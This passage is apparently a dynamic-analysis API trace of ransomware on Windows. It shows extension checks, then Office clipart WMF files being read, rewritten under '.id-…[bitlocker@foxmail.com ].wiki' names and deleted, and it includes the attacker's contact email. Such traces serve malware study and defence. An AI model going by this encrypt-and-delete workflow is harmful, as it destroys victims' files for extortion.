Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.203] lstrlenW (lpString=".zip") returned 4 [0188.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.203] lstrlenW (lpString=".rar") returned 4 [0188.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.203] lstrlenW (lpString=".bz2") returned 4 [0188.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.203] lstrlenW (lpString=".7z") returned 3 [0188.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.203] lstrlenW (lpString=".dbf") returned 4 [0188.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.203] lstrlenW (lpString=".1cd") returned 4 [0188.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0188.203] lstrlenW (lpString=".jpg") returned 4 [0188.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.480] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.481] lstrlenW (lpString="FD00076_.WMF") returned 12 [0188.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.481] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11994) returned 1 [0188.481] CloseHandle (hObject=0x1f8) returned 1 [0188.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x20 [0188.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.481] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.481] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.482] GetLastError () returned 0x0 [0188.482] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2eda, lpOverlapped=0x0) returned 1 [0188.484] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2ee0, lpOverlapped=0x0) returned 1 [0188.485] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.485] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.485] SetEndOfFile (hFile=0x1f4) returned 1 [0188.485] CloseHandle (hObject=0x1f4) returned 1 [0188.485] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.485] SetEndOfFile (hFile=0x1f8) returned 1 [0188.486] CloseHandle (hObject=0x1f8) returned 1 [0188.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0188.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.486] lstrlenW (lpString=".doc") returned 4 [0188.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.486] lstrlenW (lpString=".docx") returned 5 [0188.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.486] lstrlenW (lpString=".pdf") returned 4 [0188.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.486] lstrlenW (lpString=".xls") returned 4 [0188.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.487] lstrlenW (lpString=".xlsx") returned 5 [0188.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.487] lstrlenW (lpString=".ppt") returned 4 [0188.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.487] lstrlenW (lpString=".zip") returned 4 [0188.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.487] lstrlenW (lpString=".rar") returned 4 [0188.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString=".bz2") returned 4 [0188.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString=".7z") returned 3 [0188.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.487] lstrlenW (lpString=".dbf") returned 4 [0188.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.487] lstrlenW (lpString=".1cd") returned 4 [0188.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.487] lstrlenW (lpString=".jpg") returned 4 [0188.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.487] lstrlenW (lpString=".doc") returned 4 [0188.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString=".docx") returned 5 [0188.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.487] lstrlenW (lpString=".pdf") returned 4 [0188.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.487] lstrlenW (lpString=".xls") returned 4 [0188.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.488] lstrlenW (lpString=".xlsx") returned 5 [0188.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.488] lstrlenW (lpString=".ppt") returned 4 [0188.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.488] lstrlenW (lpString=".zip") returned 4 [0188.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.488] lstrlenW (lpString=".rar") returned 4 [0188.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.488] lstrlenW (lpString=".bz2") returned 4 [0188.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.488] lstrlenW (lpString=".7z") returned 3 [0188.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.488] lstrlenW (lpString=".dbf") returned 4 [0188.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.488] lstrlenW (lpString=".1cd") returned 4 [0188.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 63 [0188.488] lstrlenW (lpString=".jpg") returned 4 [0188.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.488] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.488] lstrlenW (lpString="FD00077_.WMF") returned 12 [0188.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.489] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=30240) returned 1 [0188.489] CloseHandle (hObject=0x1f8) returned 1 [0188.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x20 [0188.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.489] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.489] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.490] GetLastError () returned 0x0 [0188.490] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x7620, lpOverlapped=0x0) returned 1 [0188.492] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7630, lpOverlapped=0x0) returned 1 [0188.493] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.493] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.493] SetEndOfFile (hFile=0x1f4) returned 1 [0188.493] CloseHandle (hObject=0x1f4) returned 1 [0188.494] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.494] SetEndOfFile (hFile=0x1f8) returned 1 [0188.495] CloseHandle (hObject=0x1f8) returned 1 [0188.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0188.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.495] lstrlenW (lpString=".doc") returned 4 [0188.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.495] lstrlenW (lpString=".docx") returned 5 [0188.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.495] lstrlenW (lpString=".pdf") returned 4 [0188.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.495] lstrlenW (lpString=".xls") returned 4 [0188.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.495] lstrlenW (lpString=".xlsx") returned 5 [0188.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.495] lstrlenW (lpString=".ppt") returned 4 [0188.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString=".zip") returned 4 [0188.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.496] lstrlenW (lpString=".rar") returned 4 [0188.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString=".bz2") returned 4 [0188.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString=".7z") returned 3 [0188.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString=".dbf") returned 4 [0188.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString=".1cd") returned 4 [0188.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString=".jpg") returned 4 [0188.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString=".doc") returned 4 [0188.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString=".docx") returned 5 [0188.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.496] lstrlenW (lpString=".pdf") returned 4 [0188.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString=".xls") returned 4 [0188.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.496] lstrlenW (lpString=".xlsx") returned 5 [0188.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.496] lstrlenW (lpString=".ppt") returned 4 [0188.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.496] lstrlenW (lpString=".zip") returned 4 [0188.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.497] lstrlenW (lpString=".rar") returned 4 [0188.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.497] lstrlenW (lpString=".bz2") returned 4 [0188.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.497] lstrlenW (lpString=".7z") returned 3 [0188.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.497] lstrlenW (lpString=".dbf") returned 4 [0188.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.497] lstrlenW (lpString=".1cd") returned 4 [0188.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 63 [0188.497] lstrlenW (lpString=".jpg") returned 4 [0188.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.497] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.497] lstrlenW (lpString="FD00086_.WMF") returned 12 [0188.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.498] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=29212) returned 1 [0188.498] CloseHandle (hObject=0x1f8) returned 1 [0188.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x20 [0188.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.498] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.498] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.499] GetLastError () returned 0x0 [0188.499] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x721c, lpOverlapped=0x0) returned 1 [0188.501] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x7220, lpOverlapped=0x0) returned 1 [0188.502] ReadFile (in: hFile=0x1f8, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.502] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.502] SetEndOfFile (hFile=0x1f4) returned 1 [0188.502] CloseHandle (hObject=0x1f4) returned 1 [0188.503] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.503] SetEndOfFile (hFile=0x1f8) returned 1 [0188.503] CloseHandle (hObject=0x1f8) returned 1 [0188.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0188.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.504] lstrlenW (lpString=".doc") returned 4 [0188.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.504] lstrlenW (lpString=".docx") returned 5 [0188.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.504] lstrlenW (lpString=".pdf") returned 4 [0188.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.504] lstrlenW (lpString=".xls") returned 4 [0188.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.504] lstrlenW (lpString=".xlsx") returned 5 [0188.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.504] lstrlenW (lpString=".ppt") returned 4 [0188.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.504] lstrlenW (lpString=".zip") returned 4 [0188.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.504] lstrlenW (lpString=".rar") returned 4 [0188.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString=".bz2") returned 4 [0188.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString=".7z") returned 3 [0188.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.505] lstrlenW (lpString=".dbf") returned 4 [0188.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.505] lstrlenW (lpString=".1cd") returned 4 [0188.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.505] lstrlenW (lpString=".jpg") returned 4 [0188.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.505] lstrlenW (lpString=".doc") returned 4 [0188.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString=".docx") returned 5 [0188.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.505] lstrlenW (lpString=".pdf") returned 4 [0188.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString=".xls") returned 4 [0188.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.505] lstrlenW (lpString=".xlsx") returned 5 [0188.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.505] lstrlenW (lpString=".ppt") returned 4 [0188.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 [0188.505] lstrlenW (lpString=".zip") returned 4 [0188.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.505] lstrlenW (lpString=".rar") returned 4 [0188.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.505] lstrlenW (lpString=".bz2") returned 4 [0188.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.506] lstrlenW (lpString=".7z") returned 3 [0188.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 63 